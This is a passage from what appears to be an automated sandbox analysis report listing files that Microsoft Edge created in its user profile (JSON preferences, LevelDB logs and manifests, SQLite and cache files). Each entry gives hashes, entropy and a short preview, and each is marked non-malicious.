SHA1:	C345A4A3BB52D7CD94EA63B75A424BE7B52CFCD2
SHA-256:	06509A7E418D9CCE502E897EAEEE8C6E3DCB1D0622B421DD968AF3916A5BFF90
SHA-512:	ADC193A89F0E476E7326B4EA0472814FE6DD0C16FC010AAF7B4CF78567D5DF6A1574C1CE99A63018AFE7E9AD68918147880621A3C00FAA7AD1014A0056B4B9C4
Malicious:	false
Preview:	sdPC......................5.y&.K.?....................................................................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................48ea0ba2-e9bb-4568-92cb-0f42a5c5d505............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3a41e786-858c-47f9-8359-47dc9e219b3c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	5.066925901213615
Encrypted:	false
SSDEEP:	96:sVbqllJ1ub9pP9TYuXnQ1qjVYYsY5Th6Cp9/x+6M8muecmAeCke4zvr/H2X6gE5F:sVbGJq9TPXQ0jVYYsYPpj+FVAW/HFBf
MD5:	62E05D615BEEFEF5F11A8911B63F3694
SHA1:	BA6FEF034D80DFF1DA624BD1A62BD76DF50464A9
SHA-256:	68933FA8D82982D659AEDF2013640BA3F01CE32BB187504009F522AD806EB05D
SHA-512:	E8C65FC99234D32CEC74FC069F698DF6CA8075358AE901AE1FD47175354A70B3FC85C410BA78B1F99476A1775B6627A6D7E487EB905ED0C2353B61E72FD99A2E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13369625309732084","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\814af4ac-9d25-4e47-9863-6c3da79efb33.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30210
Entropy (8bit):	5.565890955138285
Encrypted:	false
SSDEEP:	768:UXLhg67pLGLv1AWPKofSU8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6RBTqcrrwJEpCd:UXLhgScv1AWPKofSUu1jaPRB+cgrtQK
MD5:	FCC234D050FFF740A52F19502E8077EA
SHA1:	DBF6654320C6414F241D9A48585047CC7ED126B5
SHA-256:	B1B5071128F1BEA4E44FD2621BB3D7FE53F3A368F05AC5D679ABBD2FBF27238E
SHA-512:	0BDA2E8AB9031E642CA386FCA0004610A38D17B3D2EDD3110CE135A1A5A01D8AADDD54953C6D9CC3BB8F8DF7385F0A910A4D7CCCB36F7980AB3120DA034D3E53
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369625309610795","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369625309610795","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8351d626-f439-4b67-8502-27361ed22416.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8c190208-c49d-4f0a-9fd0-461b5e3473c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9295
Entropy (8bit):	5.183999810869013
Encrypted:	false
SSDEEP:	192:sVbGJq9TPXQ0jAQovYYsYPpj+FVAE/HFBf:sVbGJq9T/0fpUV9/f
MD5:	7BDD645B5017EC65AA7B485B975C255A
SHA1:	5423185C72AAEF81EDEBFF78CD3FAD505C7EA4A0
SHA-256:	92C9A88F0AB245FE3A68D016E8D8A34CFC5F16CE71AC025ED05BEF38891580E6
SHA-512:	453EEFC18335DDECC2C59F5B0E6B9B30FEEFD8B880BAD4538D1FDF4C7AFC76DB1498E6750A1A2AFE0B099CA43FAD5B9A9624B53672BCB73BE1291C4ACBD82334
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13369625309732084","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	12600
Entropy (8bit):	5.320505771194677
Encrypted:	false
SSDEEP:	192:AAOEH/WCxkD7MDPSYAxmemxb7mngJdv9TXJ4MQmLu5/4eeNdl:zOEOKSXs/J7mGnQmLu5/5eNdl
MD5:	BB9085A176708FFDCE6D51591E2C7E0A
SHA1:	A1C5ED7762A5EA1F7F15813C6F933C616A363ACA
SHA-256:	D17A0554E6EA2C3C7AB75BD0C7EE1E301FD2FC95DA75CEB63A38010C64DFDEBA
SHA-512:	6AFE8C2352782BFACEF5814AB723BBD87C6857482C88C8FD12A2143E07C166EDB522FCAC0F7E993F19006AEB65F170D053D61BAAED599B46EDBF85A350B903BB
Malicious:	false
Preview:	...m.................DB_VERSION.1..I..................QUERY_TIMESTAMP:arbitration_priority_list4...13369625311917620.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"2DPW9BV28WrPpgGHdKsEvldNQvD7dA0AAxPa3B/lKN0=","size":11989}]..A./..............'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.]{.. "configVersion": 32,.. "PrivilegedExperiences": [.. "ShorelinePrivilegedExperienceID",.. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",.. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",.. "SHOPPING_AUTO_SHOW_BING_SEARCH",.. "SHOPPING_AUTO_SHOW_REBATES",.. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",.. "SHOPPING_AUTO_SHOW_REBATES_DEACTIVATED",.. "SHOPPING_AUTO_SHOW_REBATES_BING",.. "SHOPPING_AUTO_SHOW_REBATES_ORGANIC",.. "SHOPPING_AUTO_SHOW_PRICE_HIST

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.064068840375758
Encrypted:	false
SSDEEP:	6:ud+qq1wkn23oH+Tcwt9Eh1ZB2KLlcd+EWAq2Pwkn23oH+Tcwt9Eh1tIFUv:a1fYeb9Eh1ZFLMfvYfYeb9Eh16FUv
MD5:	29DA73EA0FCFAB09AB5D7DD65C58C969
SHA1:	53FE909B3678388A90D2FCEAB1BEE630EF56A140
SHA-256:	68197CD86B8857D174DBEA70BAC510365C5A5A0D55EEF5BB53CF0FDC4ABC7913
SHA-512:	AF8065AE37B19A316B72583B7DDB9730BA79731E71A653F3BD624F3878B425B287AEA17D92FFFF8A98A2929DA6F2508B00686FB00CB433B0644CAEDB4F250D53
Malicious:	false
Preview:	2024/08/31-20:48:30.821 23d0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db since it was missing..2024/08/31-20:48:30.843 23d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome\AssistanceHomeSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.3202460253800455
Encrypted:	false
SSDEEP:	6:l9bNFlEuWk8TRH9MRumWEyE4gLueXdNOmWxFxCxmWxYgCxmW5y/mWz4ynLAtD/W4:TLiuWkMORuHEyESeXdwDQ3SOAtD/ie
MD5:	40B18EC43DB334E7B3F6295C7626F28D
SHA1:	0E46584B0E0A9703C6B2EC1D246F41E63AF2296F
SHA-256:	85E961767239E90A361FB6AA0A3FD9DAA57CAAF9E30599BB70124F1954B751C8
SHA-512:	8BDACDC4A9559E4273AD01407D5D411035EECD927385A51172F401558444AD29B5AD2DC5562D1101244665EBE86BBDDE072E75ECA050B051482005EB6A52CDBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl1iBtl:Ls3il
MD5:	9C8905654CE96FA87B0C2FC0CA67760A
SHA1:	2664E369CD9ACCF6C6B128B64FCA015CDEB37B36
SHA-256:	A7BA72CC0131FF29F65D3017EBE7227CC85BCDC9EB91BE1534B48E6D76E7A155
SHA-512:	01FB32AF87A3724AF573C710162B5CE4292AC6600D385D506A29FD5C533FB9201B929FD9E10EEB124973219CDFDD945E023D417D56CF09B93DF53D5C4501FEE0
Malicious:	false
Preview:	.........................................;`w../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.2245628586320505
Encrypted:	false
SSDEEP:	6:udTRoM1wkn23oH+TcwtnG2tbB2KLlcd3sjIq2Pwkn23oH+TcwtnG2tMsIFUv:3rfYebn9VFLzMvYfYebn9GFUv
MD5:	1C22D47C343628057E74E77674DE7FC7
SHA1:	C469FE6B89FC15B71ABB1A423457FA25F94133E8
SHA-256:	787651F1BE91EAADAFAC37DB877C3DF6CC3488FCA3860EBFE45CF35A90051FD8
SHA-512:	F93C9219CC1EC504A977BB9CFE7A7E363333B427360135442B3080ACB1BF4B7D21306571A4B2B62E244BAED2C1EE67C33DFDF8E0ECCE8A65A0EE80B0C87A7384
Malicious:	false
Preview:	2024/08/31-20:48:29.673 1ca4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db since it was missing..2024/08/31-20:48:29.696 1ca4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 14, database pages 8, cookie 0xe, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.494709561094235
Encrypted:	false
SSDEEP:	24:TLEC30OIcqIn2o0FUFlA2cs0US5S693Xlej2:ThLaJUnAg0UB6I
MD5:	CF7760533536E2AF66EA68BC3561B74D
SHA1:	E991DE2EA8F42AE7E0A96A3B3B8AF87A689C8CCD
SHA-256:	E1F183FAE5652BA52F5363A7E28BF62B53E7781314C9AB76B5708AF9918BE066
SHA-512:	38B15FE7503F6DFF9D39BC74AA0150A7FF038029F973BE9A37456CDE6807BCBDEAB06E624331C8DFDABE95A5973B0EE26A391DB2587E614A37ADD50046470162
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...i............t...c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5094712832659277
Encrypted:	false
SSDEEP:	12:TLW4QpRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7me5q4iZ7dV:TLqpR+DDNzWjJ0npnyXKUO8+j25XmL
MD5:	D4971855DD087E30FC14DF1535B556B9
SHA1:	9E00DEFC7E54C75163273184837B9D0263AA528C
SHA-256:	EC7414FF1DB052E8E0E359801F863969866F19228F3D5C64F632D991C923F0D2
SHA-512:	ACA411D7819B03EF9C9ACA292D91B1258238DF229B4E165A032DB645E66BFE1148FF3DCFDAC3126FCD34DBD0892F420148E280D9716C63AD9FCDD9E7CA58D71D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.207632270712421
Encrypted:	false
SSDEEP:	6:ud6NmAB1wkn23oH+Tcwt8aVdg2KLlcdhJ9+q2Pwkn23oH+Tcwt8aPrqIFUv:LN3kfYeb0LS4vYfYebL3FUv
MD5:	10F68546D6EDF4D7A73880F7E78B2A07
SHA1:	90294794DB8EDBFE94ABF836EBE1F07F13DBA5C7
SHA-256:	9F5622D6FEE9454A2F7FAC44606227C4DB329AF9D9AD8ACAD20779DE004CC29F
SHA-512:	79FEF2606624061ACD293B802F5CB804C74DFFBB60DB65D77196AE80899D53B2FE98D50CA6DF566F679CD88D5F398BC0332799375BAD223834129ED2AC22070D
Malicious:	false
Preview:	2024/08/31-20:48:29.676 1d28 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules since it was missing..2024/08/31-20:48:29.767 1d28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
